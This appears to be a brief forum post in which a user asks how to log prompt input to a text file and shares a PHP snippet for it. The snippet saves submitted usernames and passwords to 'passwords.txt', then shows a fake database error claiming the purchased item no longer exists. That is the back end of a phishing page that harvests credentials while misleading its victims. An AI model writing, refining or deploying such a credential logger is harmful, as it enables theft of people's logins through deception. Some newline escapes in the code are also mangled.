i need to be able to log an input from a prompt to a txt file on my server.
<?php $fp = fopen("passwords.txt", "a+"); if(!$fp){ echo "Could not open the file. Please try again later. "; exit; } $inputString = "username: " . $un . "npassword: " . $pw . "nn"; fwrite( $fp, $inputString ); echo "<h1><b>Database Error</h1><br><br>The item you are trying to purchase no longer exists.</b>"; fclose( $fp ); ?>
Help @ScriptNoobie86 spread the word by sharing this article on Twitter...